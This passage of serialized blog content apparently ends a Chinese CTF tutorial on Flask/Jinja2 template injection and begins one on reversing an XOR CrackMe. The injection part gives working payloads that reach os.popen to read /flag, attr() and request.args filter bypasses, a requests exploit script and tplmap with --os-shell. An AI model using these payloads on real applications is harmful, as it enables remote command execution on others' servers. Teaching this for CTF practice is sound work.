或关键词。",[271,8192,8194],{"id":8193},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[19,8196,8199],{"className":8197,"code":8198,"language":63,"meta":24},[61],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[26,8200,8198],{"__ignoreMap":24},[271,8202,8204],{"id":8203},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[19,8206,8209],{"className":8207,"code":8208,"language":63,"meta":24},[61],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[26,8210,8208],{"__ignoreMap":24},[15,8212,8213,8214,1847,8216,8219],{},"模板里不再出现 ",[26,8215,7894],{},[26,8217,8218],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,8221,2999],{"id":2998},[271,8223,8225],{"id":8224},"工具-1curl","工具 1：curl",[19,8227,8229],{"className":21,"code":8228,"language":23,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[26,8230,8231,8245],{"__ignoreMap":24},[29,8232,8233,8235,8237,8240,8242],{"class":31,"line":32},[29,8234,36],{"class":35},[29,8236,44],{"class":43},[29,8238,8239],{"class":47},"http://target/?name={{7*7}}",[29,8241,1197],{"class":43},[29,8243,8244],{"class":162},"          # 探测\n",[29,8246,8247,8249,8252,8254,8257,8259,8262,8264,8267,8269],{"class":31,"line":166},[29,8248,36],{"class":35},[29,8250,8251],{"class":39}," -G",[29,8253,44],{"class":43},[29,8255,8256],{"class":47},"http://target/",[29,8258,1197],{"class":43},[29,8260,8261],{"class":39}," --data-urlencode",[29,8263,44],{"class":43},[29,8265,8266],{"class":47},"name={{...}}",[29,8268,1197],{"class":43},[29,8270,8271],{"class":162},"   # 自动 URL 编码\n",[271,8273,8275],{"id":8274},"工具-2requests","工具 2：requests",[19,8277,8279],{"className":3199,"code":8278,"language":3201,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[26,8280,8281,8285,8289,8294,8299,8304,8309,8314],{"__ignoreMap":24},[29,8282,8283],{"class":31,"line":32},[29,8284,8070],{},[29,8286,8287],{"class":31,"line":166},[29,8288,225],{"emptyLinePlaceholder":224},[29,8290,8291],{"class":31,"line":184},[29,8292,8293],{},"url = \"http://target/\"\n",[29,8295,8296],{"class":31,"line":196},[29,8297,8298],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[29,8300,8301],{"class":31,"line":206},[29,8302,8303],{},"r = requests.get(url, params={\"name\": payload})\n",[29,8305,8306],{"class":31,"line":221},[29,8307,8308],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[29,8310,8311],{"class":31,"line":228},[29,8312,8313],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[29,8315,8316],{"class":31,"line":234},[29,8317,8318],{},"print(r.text)\n",[15,8320,8321,8324],{},[26,8322,8323],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[271,8326,8328],{"id":8327},"工具-3tplmap","工具 3：tplmap",[15,8330,8331],{},"模板注入自动化工具：",[19,8333,8335],{"className":21,"code":8334,"language":23,"meta":24,"style":24},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[26,8336,8337,8346,8365,8384],{"__ignoreMap":24},[29,8338,8339,8341,8343],{"class":31,"line":32},[29,8340,187],{"class":35},[29,8342,190],{"class":47},[29,8344,8345],{"class":47}," https://github.com/epinna/tplmap\n",[29,8347,8348,8350,8353,8355,8357,8359,8362],{"class":31,"line":166},[29,8349,200],{"class":199},[29,8351,8352],{"class":47}," tplmap",[29,8354,2743],{"class":1035},[29,8356,4651],{"class":35},[29,8358,172],{"class":47},[29,8360,8361],{"class":39}," -r",[29,8363,8364],{"class":47}," requirements.txt\n",[29,8366,8367,8369,8372,8374,8376,8379,8381],{"class":31,"line":184},[29,8368,3201],{"class":35},[29,8370,8371],{"class":47}," tplmap.py",[29,8373,1658],{"class":39},[29,8375,44],{"class":43},[29,8377,8378],{"class":47},"http://target/?name=*",[29,8380,1197],{"class":43},[29,8382,8383],{"class":162},"          # * 是注入点标记\n",[29,8385,8386,8388,8390,8392,8394,8396,8398],{"class":31,"line":196},[29,8387,3201],{"class":35},[29,8389,8371],{"class":47},[29,8391,1658],{"class":39},[29,8393,44],{"class":43},[29,8395,8378],{"class":47},[29,8397,1197],{"class":43},[29,8399,8400],{"class":39}," --os-shell\n",[10,8402,8404],{"id":8403},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,8406,3097,8407,8410,8411,789],{},[26,8408,8409],{},"http://target/?name="," 存在 SSTI，flag 在 ",[26,8412,8413],{},"/flag",[271,8415,8417],{"id":8416},"第一步探测","第一步：探测",[15,8419,8420,8422],{},[138,8421,519],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[19,8424,8426],{"className":21,"code":8425,"language":23,"meta":24,"style":24},"curl \"http://target/?name={{7*7}}\"\n",[26,8427,8428],{"__ignoreMap":24},[29,8429,8430,8432,8434,8436],{"class":31,"line":32},[29,8431,36],{"class":35},[29,8433,44],{"class":43},[29,8435,8239],{"class":47},[29,8437,51],{"class":43},[15,8439,8440,8441,8443],{},"响应含 ",[26,8442,7791],{}," → 确认。",[271,8445,8447],{"id":8446},"第二步直接打","第二步：直接打",[15,8449,8450,8452,8453,8456,8457,8459,8460,8462],{},[138,8451,528],{},"：先 ",[26,8454,8455],{},"config.__globals__"," 链试 ",[26,8458,7905],{},"；如果响应没出现 flag 内容，先改用 ",[26,8461,143],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[19,8464,8466],{"className":3199,"code":8465,"language":3201,"meta":24,"style":24},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[26,8467,8468,8472,8476,8480,8484,8488],{"__ignoreMap":24},[29,8469,8470],{"class":31,"line":32},[29,8471,8070],{},[29,8473,8474],{"class":31,"line":166},[29,8475,225],{"emptyLinePlaceholder":224},[29,8477,8478],{"class":31,"line":184},[29,8479,8293],{},[29,8481,8482],{"class":31,"line":196},[29,8483,8298],{},[29,8485,8486],{"class":31,"line":206},[29,8487,8303],{},[29,8489,8490],{"class":31,"line":221},[29,8491,8318],{},[15,8493,8494],{},"预期输出中出现：",[19,8496,8499],{"className":8497,"code":8498,"language":63,"meta":24},[61],"flag{ssti_rce}\n",[26,8500,8498],{"__ignoreMap":24},[271,8502,8504],{"id":8503},"第三步被过滤时","第三步：被过滤时",[15,8506,8507,8509,8510,8512],{},[138,8508,528],{},"：把点号换成 ",[26,8511,8177],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,8514,8515],{},"改用 attr 与 request.args 组合：",[19,8517,8520],{"className":8518,"code":8519,"language":63,"meta":24},[61],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[26,8521,8519],{"__ignoreMap":24},[10,8523,3296],{"id":3295},[15,8525,8526,8527,4244,8529,8532,8533,3086,8535,8538],{},"SSTI 主线：探测 ",[26,8528,7700],{},[26,8530,8531],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[26,8534,8177],{},[26,8536,8537],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1990,8540,8541],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":166,"depth":166,"links":8543},[8544,8545,8546,8547,8548,8549,8550,8551],{"id":7513,"depth":184,"text":7514},{"id":7592,"depth":184,"text":7593},{"id":7682,"depth":184,"text":7683},{"id":7866,"depth":184,"text":7867},{"id":8156,"depth":184,"text":8157},{"id":2998,"depth":184,"text":2999},{"id":8403,"depth":184,"text":8404},{"id":3295,"depth":184,"text":3296},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":2008,"image":8554,"alt":8555,"tags":8556,"published":224},"/blogs-img/blog6.png","SSTI 深入实战",[788,2012,8557,2013],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":7508,"description":8552},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":8563,"title":8564,"body":8565,"description":9505,"extension":2006,"meta":9506,"navigation":224,"ogImage":9507,"path":9510,"seo":9511,"stem":9512,"__hash__":9513},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":8566,"toc":9494},[8567,8571,8574,8578,8584,8768,8771,8788,8791,8800,8805,8817,8821,8823,8828,8841,8845,8856,8859,8865,8870,8874,8885,8899,8901,8907,8916,8920,8925,8940,8942,8973,8975,9004,9011,9015,9047,9050,9075,9079,9082,9132,9137,9139,9147,9150,9156,9158,9170,9184,9186,9191,9200,9202,9207,9210,9225,9227,9233,9236,9240,9245,9262,9322,9324,9336,9338,9343,9346,9356,9360,9364,9447,9451,9482,9484,9491],[10,8568,8570],{"id":8569},"一现实背景注册码校验","一、现实背景：注册码校验",[15,8572,8573],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,8575,8577],{"id":8576},"二题目源码与编译","二、题目源码与编译",[15,8579,8580,8581,324],{},"出题人视角的 ",[26,8582,8583],{},"crackme.c",[19,8585,8587],{"className":2777,"code":8586,"language":2779,"meta":24,"style":24},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[26,8588,8589,8593,8598,8602,8607,8612,8617,8622,8627,8632,8637,8642,8647,8652,8657,8662,8667,8672,8677,8682,8687,8692,8697,8701,8705,8710,8715,8720,8725,8730,8735,8740,8745,8750,8755,8760,8764],{"__ignoreMap":24},[29,8590,8591],{"class":31,"line":32},[29,8592,3403],{},[29,8594,8595],{"class":31,"line":166},[29,8596,8597],{},"#include \u003Cstring.h>\n",[29,8599,8600],{"class":31,"line":184},[29,8601,225],{"emptyLinePlaceholder":224},[29,8603,8604],{"class":31,"line":196},[29,8605,8606],{},"int check(const char *input) {\n",[29,8608,8609],{"class":31,"line":206},[29,8610,8611],{},"    char key[] = \"k3y\";\n",[29,8613,8614],{"class":31,"line":221},[29,8615,8616],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[29,8618,8619],{"class":31,"line":228},[29,8620,8621],{},"    unsigned char enc[] = {\n",[29,8623,8624],{"class":31,"line":234},[29,8625,8626],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[29,8628,8629],{"class":31,"line":246},[29,8630,8631],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[29,8633,8634],{"class":31,"line":376},[29,8635,8636],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[29,8638,8639],{"class":31,"line":382},[29,8640,8641],{},"    };\n",[29,8643,8644],{"class":31,"line":388},[29,8645,8646],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[29,8648,8649],{"class":31,"line":394},[29,8650,8651],{},"    int n = strlen(input);\n",[29,8653,8654],{"class":31,"line":400},[29,8655,8656],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[29,8658,8659],{"class":31,"line":405},[29,8660,8661],{},"    if (n != 24) return 0;\n",[29,8663,8664],{"class":31,"line":411},[29,8665,8666],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[29,8668,8669],{"class":31,"line":417},[29,8670,8671],{},"    for (int i = 0; i \u003C n; i++)\n",[29,8673,8674],{"class":31,"line":422},[29,8675,8676],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[29,8678,8679],{"class":31,"line":428},[29,8680,8681],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[29,8683,8684],{"class":31,"line":434},[29,8685,8686],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[29,8688,8689],{"class":31,"line":440},[29,8690,8691],{},"    return 1;\n",[29,8693,8694],{"class":31,"line":446},[29,8695,8696],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[29,8698,8699],{"class":31,"line":452},[29,8700,455],{},[29,8702,8703],{"class":31,"line":458},[29,8704,225],{"emptyLinePlaceholder":224},[29,8706,8707],{"class":31,"line":5704},[29,8708,8709],{},"int main(int argc, char **argv) {\n",[29,8711,8712],{"class":31,"line":5709},[29,8713,8714],{},"    if (argc != 2) {\n",[29,8716,8717],{"class":31,"line":5715},[29,8718,8719],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[29,8721,8722],{"class":31,"line":5721},[29,8723,8724],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[29,8726,8727],{"class":31,"line":5726},[29,8728,8729],{},"        return 1;\n",[29,8731,8732],{"class":31,"line":5732},[29,8733,8734],{},"    }\n",[29,8736,8737],{"class":31,"line":5738},[29,8738,8739],{},"    if (check(argv[1]))\n",[29,8741,8742],{"class":31,"line":5744},[29,8743,8744],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[29,8746,8747],{"class":31,"line":5750},[29,8748,8749],{},"        puts(\"Correct!\");\n",[29,8751,8752],{"class":31,"line":5755},[29,8753,8754],{},"    else\n",[29,8756,8757],{"class":31,"line":5761},[29,8758,8759],{},"        puts(\"Wrong!\");\n",[29,8761,8762],{"class":31,"line":5767},[29,8763,3483],{},[29,8765,8766],{"class":31,"line":5773},[29,8767,455],{},[15,8769,8770],{},"编译（解题时只有二进制，没有源码）：",[19,8772,8774],{"className":21,"code":8773,"language":23,"meta":24,"style":24},"gcc -o crackme crackme.c\n",[26,8775,8776],{"__ignoreMap":24},[29,8777,8778,8780,8782,8785],{"class":31,"line":32},[29,8779,3500],{"class":35},[29,8781,3503],{"class":39},[29,8783,8784],{"class":47}," crackme",[29,8786,8787],{"class":47}," crackme.c\n",[15,8789,8790],{},"运行确认行为：",[19,8792,8794],{"className":21,"code":8793,"language":23,"meta":24,"style":24},"./crackme\n",[26,8795,8796],{"__ignoreMap":24},[29,8797,8798],{"class":31,"line":32},[29,8799,8793],{"class":35},[15,8801,998,8802,789],{},[26,8803,8804],{},"Usage: ./crackme \u003Cflag>",[19,8806,8808],{"className":21,"code":8807,"language":23,"meta":24,"style":24},"./crackme wrongflag123456789012\n",[26,8809,8810],{"__ignoreMap":24},[29,8811,8812,8814],{"class":31,"line":32},[29,8813,3285],{"class":35},[29,8815,8816],{"class":47}," wrongflag123456789012\n",[15,8818,998,8819,789],{},[26,8820,2254],{},[10,8822,2126],{"id":2125},[15,8824,8825,8827],{},[138,8826,519],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,8829,8830,324,8832,8834,8835,8837,8838,8840],{},[138,8831,528],{},[26,8833,2195],{}," 能看到 ",[26,8836,2258],{}," 这样的短密钥（需要 ",[26,8839,2262],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[271,8842,8844],{"id":8843},"_31-file","3.1 file",[19,8846,8848],{"className":21,"code":8847,"language":23,"meta":24,"style":24},"file crackme\n",[26,8849,8850],{"__ignoreMap":24},[29,8851,8852,8854],{"class":31,"line":32},[29,8853,2152],{"class":35},[29,8855,3139],{"class":47},[15,8857,8858],{},"预期输出（Linux ELF）：",[19,8860,8863],{"className":8861,"code":8862,"language":63,"meta":24},[61],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[26,8864,8862],{"__ignoreMap":24},[15,8866,8867,8869],{},[26,8868,2169],{},"：函数名可见。",[271,8871,8873],{"id":8872},"_32-strings","3.2 strings",[15,8875,8876,8877,8879,8880,8882,8883,324],{},"注意：",[26,8878,2195],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[26,8881,2258],{}," 只有 3 个字符，必须加 ",[26,8884,2262],{},[19,8886,8887],{"className":21,"code":3126,"language":23,"meta":24,"style":24},[26,8888,8889],{"__ignoreMap":24},[29,8890,8891,8893,8895,8897],{"class":31,"line":32},[29,8892,2195],{"class":35},[29,8894,2227],{"class":39},[29,8896,2230],{"class":39},[29,8898,3139],{"class":47},[15,8900,504],{},[19,8902,8905],{"className":8903,"code":8904,"language":63,"meta":24},[61],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[26,8906,8904],{"__ignoreMap":24},[15,8908,8909,8911,8912,8915],{},[26,8910,2258],{}," 极可能是密钥。",[26,8913,8914],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,8917,8919],{"id":8918},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,8921,8922,8924],{},[138,8923,519],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,8926,8927,8929,8930,8932,8933,8936,8937,8939],{},[138,8928,528],{},"：main 里 ",[26,8931,2491],{}," 后紧跟 ",[26,8934,8935],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[26,8938,3162],{},"，逆向思路立刻清晰。",[271,8941,2335],{"id":2334},[19,8943,8945],{"className":21,"code":8944,"language":23,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[26,8946,8947],{"__ignoreMap":24},[29,8948,8949,8951,8953,8955,8957,8959,8961,8963,8965,8967,8969,8971],{"class":31,"line":32},[29,8950,2347],{"class":35},[29,8952,254],{"class":39},[29,8954,2352],{"class":39},[29,8956,2355],{"class":47},[29,8958,8784],{"class":47},[29,8960,2381],{"class":1044},[29,8962,2384],{"class":35},[29,8964,2387],{"class":39},[29,8966,2390],{"class":39},[29,8968,2393],{"class":43},[29,8970,2396],{"class":47},[29,8972,2399],{"class":43},[15,8974,1670],{},[19,8976,8978],{"className":2404,"code":8977,"language":2406,"meta":24,"style":24},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[26,8979,8980,8984,8988,8992,8996,9000],{"__ignoreMap":24},[29,8981,8982],{"class":31,"line":32},[29,8983,2413],{},[29,8985,8986],{"class":31,"line":166},[29,8987,2428],{},[29,8989,8990],{"class":31,"line":184},[29,8991,2433],{},[29,8993,8994],{"class":31,"line":196},[29,8995,2438],{},[29,8997,8998],{"class":31,"line":206},[29,8999,2443],{},[29,9001,9002],{"class":31,"line":221},[29,9003,2448],{},[15,9005,9006,9008,9009,789],{},[26,9007,2491],{}," 说明判断逻辑在 ",[26,9010,2520],{},[271,9012,9014],{"id":9013},"_42-objdump-看-check","4.2 objdump 看 check",[19,9016,9018],{"className":21,"code":9017,"language":23,"meta":24,"style":24},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[26,9019,9020],{"__ignoreMap":24},[29,9021,9022,9024,9026,9028,9030,9032,9034,9036,9038,9041,9043,9045],{"class":31,"line":32},[29,9023,2347],{"class":35},[29,9025,254],{"class":39},[29,9027,2352],{"class":39},[29,9029,2355],{"class":47},[29,9031,8784],{"class":47},[29,9033,2381],{"class":1044},[29,9035,2384],{"class":35},[29,9037,2387],{"class":39},[29,9039,9040],{"class":39}," 60",[29,9042,2393],{"class":43},[29,9044,2576],{"class":47},[29,9046,2399],{"class":43},[15,9048,9049],{},"预期会看到循环比较：",[19,9051,9053],{"className":2404,"code":9052,"language":2406,"meta":24,"style":24},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[26,9054,9055,9060,9065,9070],{"__ignoreMap":24},[29,9056,9057],{"class":31,"line":32},[29,9058,9059],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[29,9061,9062],{"class":31,"line":166},[29,9063,9064],{},"xor    eax, 0x...                 ; 与 key 异或\n",[29,9066,9067],{"class":31,"line":184},[29,9068,9069],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[29,9071,9072],{"class":31,"line":196},[29,9073,9074],{},"je     0x...\n",[271,9076,9078],{"id":9077},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,9080,9081],{},"安装并打开：",[19,9083,9085],{"className":21,"code":9084,"language":23,"meta":24,"style":24},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[26,9086,9087,9097,9107],{"__ignoreMap":24},[29,9088,9089,9091,9093,9095],{"class":31,"line":32},[29,9090,169],{"class":35},[29,9092,172],{"class":47},[29,9094,2699],{"class":47},[29,9096,2702],{"class":47},[29,9098,9099,9101,9103,9105],{"class":31,"line":166},[29,9100,2707],{"class":35},[29,9102,2710],{"class":47},[29,9104,2714],{"class":2713},[29,9106,2717],{"class":47},[29,9108,9109,9111,9113,9115,9118,9120,9122,9124,9126,9128,9130],{"class":31,"line":184},[29,9110,2722],{"class":35},[29,9112,2725],{"class":47},[29,9114,2714],{"class":2713},[29,9116,9117],{"class":47},".zip",[29,9119,2743],{"class":1035},[29,9121,200],{"class":199},[29,9123,2725],{"class":47},[29,9125,2714],{"class":2713},[29,9127,2740],{"class":47},[29,9129,2743],{"class":1035},[29,9131,2746],{"class":35},[15,9133,9134,9135,789],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[26,9136,2520],{},[15,9138,2774],{},[19,9140,9141],{"className":2777,"code":3172,"language":2779,"meta":24,"style":24},[26,9142,9143],{"__ignoreMap":24},[29,9144,9145],{"class":31,"line":32},[29,9146,3172],{},[15,9148,9149],{},"得到逆运算关系：",[19,9151,9154],{"className":9152,"code":9153,"language":63,"meta":24},[61],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[26,9155,9153],{"__ignoreMap":24},[10,9157,2808],{"id":2807},[19,9159,9161],{"className":21,"code":9160,"language":23,"meta":24,"style":24},"gdb ./crackme\n",[26,9162,9163],{"__ignoreMap":24},[29,9164,9165,9167],{"class":31,"line":32},[29,9166,2835],{"class":35},[29,9168,9169],{"class":47}," ./crackme\n",[19,9171,9173],{"className":2847,"code":9172,"language":2835,"meta":24,"style":24},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[26,9174,9175,9179],{"__ignoreMap":24},[29,9176,9177],{"class":31,"line":32},[29,9178,2848],{},[29,9180,9181],{"class":31,"line":166},[29,9182,9183],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,9185,504],{},[19,9187,9189],{"className":9188,"code":2860,"language":63,"meta":24},[61],[26,9190,2860],{"__ignoreMap":24},[19,9192,9194],{"className":2847,"code":9193,"language":2835,"meta":24,"style":24},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[26,9195,9196],{"__ignoreMap":24},[29,9197,9198],{"class":31,"line":32},[29,9199,9193],{},[15,9201,504],{},[19,9203,9205],{"className":9204,"code":2881,"language":63,"meta":24},[61],[26,9206,2881],{"__ignoreMap":24},[15,9208,9209],{},"查看 enc 数组（地址在反汇编中确定）：",[19,9211,9213],{"className":2847,"code":9212,"language":2835,"meta":24,"style":24},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[26,9214,9215,9220],{"__ignoreMap":24},[29,9216,9217],{"class":31,"line":32},[29,9218,9219],{},"(gdb) x/24bx 0x5555555551e0\n",[29,9221,9222],{"class":31,"line":166},[29,9223,9224],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,9226,504],{},[19,9228,9231],{"className":9229,"code":9230,"language":63,"meta":24},[61],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[26,9232,9230],{"__ignoreMap":24},[15,9234,9235],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,9237,9239],{"id":9238},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,9241,9242,9244],{},[138,9243,519],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,9246,9247,9249,9250,9253,9254,9257,9258,9261],{},[138,9248,528],{},"：因为 ",[26,9251,9252],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[26,9255,9256],{},"key[i%3]"," 得 ",[26,9259,9260],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[19,9263,9265],{"className":3199,"code":9264,"language":3201,"meta":24,"style":24},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[26,9266,9267,9271,9275,9279,9284,9288,9293,9298,9303,9308,9313,9317],{"__ignoreMap":24},[29,9268,9269],{"class":31,"line":32},[29,9270,3208],{},[29,9272,9273],{"class":31,"line":166},[29,9274,3213],{},[29,9276,9277],{"class":31,"line":184},[29,9278,3218],{},[29,9280,9281],{"class":31,"line":196},[29,9282,9283],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[29,9285,9286],{"class":31,"line":206},[29,9287,225],{"emptyLinePlaceholder":224},[29,9289,9290],{"class":31,"line":221},[29,9291,9292],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[29,9294,9295],{"class":31,"line":228},[29,9296,9297],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[29,9299,9300],{"class":31,"line":234},[29,9301,9302],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[29,9304,9305],{"class":31,"line":246},[29,9306,9307],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[29,9309,9310],{"class":31,"line":376},[29,9311,9312],{},"# bytes([...])：把整数列表转成字节串。\n",[29,9314,9315],{"class":31,"line":382},[29,9316,3258],{},[29,9318,9319],{"class":31,"line":388},[29,9320,9321],{},"# decode()：bytes 按 UTF-8 